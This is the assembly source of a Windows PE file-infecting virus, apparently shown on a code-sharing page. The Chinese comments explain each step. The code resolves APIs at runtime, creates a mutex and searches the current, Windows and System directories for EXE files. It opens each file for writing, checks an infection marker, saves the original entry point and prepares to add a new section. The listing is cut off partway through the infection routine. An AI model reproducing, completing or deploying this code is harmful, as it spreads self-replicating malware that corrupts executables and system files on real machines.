📄 infect.asm
字号:
;nihao.asm安静版
;++ 以下PE所提及的PE头即为IMAGE_NT_HEADERS,即NT头
.386
.model flat,stdcall
option casemap:none
include windows.inc
; include kernel32.inc
;includelib kernel32.lib
;这是一些相关的定义,其实程序中根本就没用到
;只是我习惯,一股脑的全搬上来啦
;------------------------------------(上面的)--
initializtion proto :DWORD
GetApiAddress proto :DWORD,:DWORD,:DWORD
.data
; 主程序所用到的一些变量
;------------------------------------(上面的)--
.code
host_start:
call LoadLib
db 'user32',0
LoadLib:
call [vLoadLibraryA]
call GetProcAddr
db 'MessageBoxA',0
GetProcAddr:
push eax
call [vGetProcAddress]
push MB_OK
push offset szCaption
push offset szText
push 0
call eax
push 0
call [vExitProcess]
szText db "How about Micro$hit @_@",0
szCaption db 'My dear',0
;主程序代码
;病毒代码运行完后,就会跳到此处执行。
;------------------------------------(上面的)--
BadDay SEGMENT PARA USE32 'BadDay'
assume cs:BadDay,ds:BadDay
;==================================================================
;API表
;==================================================================
ApiStart EQU THIS BYTE
szLoadLibraryA db "LoadLibraryA", 0
vLoadLibraryA dd 0
szGetProcAddress db "GetProcAddress", 0
vGetProcAddress dd 0
szExitProcess db "ExitProcess", 0
vExitProcess dd 0
ApiList db 0
KernelApi EQU THIS BYTE
szCreateMutexA db "CreateMutexA",0
vCreateMutexA dd 0
szGetLastError db "GetLastError",0
vGetLastError dd 0
szCreateThread db "CreateThread",0
vCreateThread dd 0
szWaitForSingleObjectEx db "WaitForSingleObjectEx",0
vWaitForSingleObjectEx dd 0
szSetComputerNameA db "SetComputerNameA",0
vSetComputerNameA dd 0
szCreateFileA db "CreateFileA",0
vCreateFileA dd 0
szSetFilePointer db "SetFilePointer",0
vSetFilePointer dd 0
szReadFile db "ReadFile",0
vReadFile dd 0
szWriteFile db "WriteFile",0
vWriteFile dd 0
szCloseHandle db "CloseHandle",0
vCloseHandle dd 0
szGetCurrentDirectoryA db "GetCurrentDirectoryA",0
vGetCurrentDirectoryA dd 0
szFindFirstFileA db "FindFirstFileA",0
vFindFirstFileA dd 0
szGetWindowsDirectoryA db "GetWindowsDirectoryA",0
vGetWindowsDirectoryA dd 0
szGetSystemDirectoryA db "GetSystemDirectoryA",0
vGetSystemDirectoryA dd 0
szSetCurrentDirectoryA db "SetCurrentDirectoryA",0
vSetCurrentDirectoryA dd 0
szlstrcpy db "lstrcpy",0
vlstrcpy dd 0
szFindNextFileA db "FindNextFileA",0
vFindNextFileA dd 0
szFindClose db "FindClose",0
vFindClose dd 0
szGetSystemTime db "GetSystemTime",0
vGetSystemTime dd 0
KernelApiEnd DB 0
;User32Api equ this byte
;szMessageBoxA db 'MessageBoxA',0
;vMessageBoxA dd 0
;User32ApiEnd DB 0
ApiEnd DB 0
;data
hKernelDll dd 0
;data
;==============================================
vstart:
push ebp
call nstart
nstart:
pop ebx
sub ebx,offset nstart
;病毒中常用的一种方法。得到一个偏移差。
;程序后面用到的所有变量都需要加上个这偏移差
;------------------------------------(上面的)--
;=========================
; * 更改程序入口地址 *
cmp des_basein[ebx],0
jnz gogo
mov des_basein[ebx],401000h
gogo:
;暴力获取API
;==========================================================
invoke initializtion, [esp+4]
;获得 Kernel32.dll 中的所需的 Api 的线性地址:
;lea ecx,KernelApi[ebx]
LEA ECX,szCreateMutexA[EBX]
lea edx,KernelApiEnd[ebx]
invoke GetApiAddress, hKernelDll[ebx],ecx,edx
;==========================================================
;创建宿主线程
;invoke CreateThread,NULL,0,offset Down,offset id,0,offset id
lea eax,id[ebx]
push eax
push 0
lea eax,id[ebx]
push eax
push des_basein[ebx]
push 0
push NULL
call vCreateThread[ebx]
mov threadHdl[ebx],eax
;创建宿主线程完必
;================================================
;创建互斥体
;HANDLE mutexHdl=CreateMutex(NULL,FALSE,"On Command");
;if(!mutexHdl || GetLastError()==ERROR_ALREADY_EXISTS)
; ExitProcess(1);
lea eax,mutexName[ebx]
push eax
push FALSE
push NULL
call vCreateMutexA[ebx]
xchg ecx,eax
jecxz exIt
call vGetLastError[ebx]
CMP EAX,ERROR_ALREADY_EXISTS
jnz createMutexSuccessFull
exIt:
Jmp outNow
createMutexSuccessFull:
mov mutexHdl[ebx],ecx
;================================================
;变量定义的的意思见后方
;程序开始执行时,当前程序的原入口地址会放到des_basein中
;由于程序中des_basein有别的用途,因此将此地址存放到
;now_basein,以便最后跳回原程序入口。
;------------------------------------(上面的)--
;-------------------------
;目录的开头部份
lea eax,NowPath[ebx]
push eax
mov eax,256
push eax
call vGetCurrentDirectoryA[ebx]
;通过API函数得到当前程序所在目录
;------------------------------------(上面的)--
lea eax,NowPath[ebx]
push eax
lea eax,SrcDir[ebx]
push eax
call vlstrcpy[ebx]
;保存当前目录
;------------------------------------(上面的)--
mov NowPathNo[ebx],1
FindStartT:
cmp NowPathNo[ebx],1
jz GFindFt
cmp NowPathNo[ebx],2
jz GetWinD
cmp NowPathNo[ebx],3
jz GetSysD
jmp AllFindEnd
;根据NowPathNor值来判断感染哪个目录的文件
;------------------------------------(上面的)--
GetWinD:
mov eax,256
push eax
lea eax,NowPath[ebx]
push eax
call vGetWindowsDirectoryA[ebx]
lea eax,NowPath[ebx]
push eax
call vSetCurrentDirectoryA[ebx]
jmp GFindFt
;得到WINDOWS所在目录,并且将其设为当前目录
;------------------------------------(上面的)--
GetSysD:
mov eax,256
push eax
lea eax,NowPath[ebx]
push eax
call vGetSystemDirectoryA[ebx]
lea eax,NowPath[ebx]
push eax
call vSetCurrentDirectoryA[ebx]
;得到SYSTEM所在目录,并且将其设为当前目录
;------------------------------------(上面的)--
GFindFt:
lea eax,FindData[ebx]
push eax
lea eax,FileFilter[ebx]
push eax
call vFindFirstFileA[ebx]
cmp eax,INVALID_HANDLE_VALUE
jz FindEnds
mov hFind[ebx],eax
;查找当前目录下的第一个EXE文件
;------------------------------------(上面的)--
GoOnFind:
;以下是病毒传染部份
;-------------------------
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,FindData[ebx].cFileName
push eax
call vCreateFileA[ebx]
;打开文件
;------------------------------------(上面的)--
cmp eax,INVALID_HANDLE_VALUE
jz createfail
mov hFile[ebx],eax
push FILE_BEGIN
push 0
push 3ch ;DOS头偏移3CH中存PE头的地址
push hFile[ebx]
call vSetFilePointer[ebx]
;将文件指针指到3CH处(见前面的讲的)
;------------------------------------(上面的)--
push 0
lea eax,byte_read[ebx]
push eax
push 4
lea eax,PE_head_addr[ebx] ;首次处理PE_head_addr,保存的是PE头地址
push eax
push hFile[ebx]
call vReadFile[ebx]
;得到PE头偏移地址
;------------------------------------(上面的)--
cmp eax,0
jz readfail
push FILE_BEGIN
push 0
push PE_head_addr[ebx]
push hFile[ebx]
call vSetFilePointer[ebx]
;指文件指针定位到PE头处
;------------------------------------(上面的)--
mov Head_len[ebx],sizeof PE_head+sizeof Section_table ;Head_len存放的是 (PE头大小+段表大小)
push 0
lea eax,byte_read[ebx]
push eax
push Head_len[ebx]
lea eax,PE_head[ebx] ;因为定义时PE_head变量的空间后面就是Section_table,而且文件头中两部分也是连着的,就一起读出来了
push eax
push hFile[ebx]
call vReadFile[ebx]
;从PE头处开始读,将所读数据存放在缓冲区中
;------------------------------------(上面的)--
cmp dword ptr PE_head[ebx].Signature,IMAGE_NT_SIGNATURE
jnz exitwrite
;检查是否是PE文件,不是就跳出
;------------------------------------(上面的)--
cmp word ptr PE_head[ebx+5ch],IMAGE_SUBSYSTEM_WINDOWS_GUI
jz win32 ;是Win32程序就开工
cmp word ptr PE_head[ebx+5ch],IMAGE_SUBSYSTEM_WINDOWS_CUI
jnz exitwrite
win32:
cmp word ptr PE_head[ebx+1ah],0707h
jz exitwrite
;若已感染过也跳
;------------------------------------(上面的)--
Noinfect:
;保存与程序入口相关的RVA
push PE_head[ebx].OptionalHeader.AddressOfEntryPoint
pop des_in[ebx] ;保存原入口映象偏移
push PE_head[ebx].OptionalHeader.ImageBase
pop des_base[ebx] ;保存原映象基址
mov eax,des_in[ebx]
add eax,des_base[ebx] ;入口偏移+基址得到入口地址
mov des_basein[ebx],eax ;保存入口地址
;保存将要感染的程序的入口RVA和默认装入内存的地址
;------------------------------------(上面的)--
movzx eax,PE_head[ebx].FileHeader.SizeOfOptionalHeader ;取可选头大小
add eax,18h ;等于可选头相对NT_Head的偏移=Signature DWORD (4) + FileHeader IMAGE_FILE_HEADER (14h),三者组成PE_header
mov Section_addr[ebx],eax
;得到可选尾部相对PE_head_addr的偏移量,即PE头的长度 ;++修正
;------------------------------------(上面的)--
mov checker_len[ebx],offset vend-offset ApiStart
;得到病毒代码段的长度 第一次 修改checker_len
;------------------------------------(上面的)--
movzx eax,PE_head[ebx].FileHeader.NumberOfSections
inc eax ;将新段的段表所需空间算进去
mov ecx,28h
mul ecx ; 得到段表长,一个段表长28H,因为文件头不会太长,就没考虑EDX
add eax,Section_addr[ebx] ; 加上PE头长
add eax,PE_head_addr[ebx] ; 加上PE头的基址,得到段表尾部地址,即整个文件头长度
cmp eax,PE_head[ebx].OptionalHeader.SizeOfHeaders ;是不是超过文件头允许长度
;检测当前文件头的剩余空间可否再加一个节。
;------------------------------------(上面的)--
ja exitwrite
MOV ECX,dword ptr PE_head[ebx+0D0H] ;取Bound_table.virt_addr到ECX
test ECX,ECX
jz nobnd ;没用Bound_table就走
cmp EAX,ECX ;节尾压上Bound_tablevirt_addr指向的空间了??
jb nobnd ;没有就走
ADD EAX,dword ptr PE_head[ebx+0D4H] ;加上Bound_table.Size
CMP EAX,PE_head[ebx].OptionalHeader.SizeOfHeaders ;超过最大长度
ja exitwrite ;超过就放弃
;要搬动Bound_table 了
push FILE_BEGIN
push 0
push ECX ;等于Bound_table.virt_addr
push hFile[ebx]
call vSetFilePointer[ebx]
;把后面算法偷到前面来了
;lea esi,Section_table[ebx] ;取段表Buffer区地址到ESI(里面已经存入了原文件的段表了)
movzx eax,PE_head[ebx].FileHeader.NumberOfSections
inc eax
mov ecx,28h ;;;;;;IMAGE_SECTION_HEADER长为28H
mul ecx ;得到新的段表总长
MOV ECX,EAX ;保存到ECX
;add esi,eax
add eax,Section_addr[ebx] ; 加上PE头长
add eax,PE_head_addr[ebx] ; 加上PE头的基址,得到段表尾部地址,即整个文件头长度
MOV dword ptr PE_head[ebx+0D0H],EAX ;修改Bound_table.Virt_addr
;更新Head_len
MOV EAX,ECX ;取段表长
add EAX,sizeof PE_head ;加上PE_header长
ADD EAX,dword ptr PE_head[ebx+0D4H] ;加上Bound_table指向空间的长度
MOV Head_len[ebx],EAX
MOV EAX,ECX ;取段表长
lea esi,Section_table[ebx] ;取段表Buffer区地址到ESI(里面已经存入了原文件的段表了)
add EAX,esi ;得到Bound_table在Buffer 中的位置放入EAX
push 0
lea ECX,byte_read[ebx]
push ECX
push dword ptr PE_head[ebx+0D4H] ;长度为Bound_table里确定的长度
push EAX ;将原来的Bound_table指向空间内容读到内存中新位置
push hFile[ebx]
call vReadFile[ebx]
nobnd:
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -